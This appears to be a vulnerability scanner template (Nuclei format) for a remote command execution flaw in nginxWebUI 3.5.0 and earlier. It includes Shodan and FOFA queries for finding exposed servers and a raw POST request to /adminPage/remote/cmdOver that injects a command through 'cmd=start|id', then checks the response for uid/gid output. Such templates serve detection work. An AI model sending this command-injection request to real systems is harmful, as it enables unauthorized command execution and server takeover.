2024-09-19 06:13:59 +00:00
id : nginx-webui-rce
info :
name : nginxWebUI ≤ 3.5.0 - Remote Command Execution
author : ritikchaddha
severity : critical
description : |
There is a command execution vulnerability in the nginxWebUI backend. After logging in to the backend, the attacker can execute any command to obtain server permissions.
reference : |
- https://forum.butian.net/article/243
metadata :
max-request : 1
shodan-query : title="nginxwebui"
fofa-query : title="nginxwebui"
tags : nginx,nginxwebui,webui,rce
http :
- raw :
- |
POST /adminPage/remote/cmdOver HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
remoteId=local&cmd=start|id&interval=1
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type : word
part : header
words :
- "application/json"
- type : status
status :
- 200
2024-09-21 14:46:20 +00:00
# digest: 490a00463044022022e24dee7ba8d84a33c1d5720409ae7c343bdb424440f3508c1b48c3216137cf02205ce59921061a1aae9ed5e0c97936b92bb922cfaa12a68cd69073a0fb5cac7ce8:922c64590222798bb761d5b6d8e72950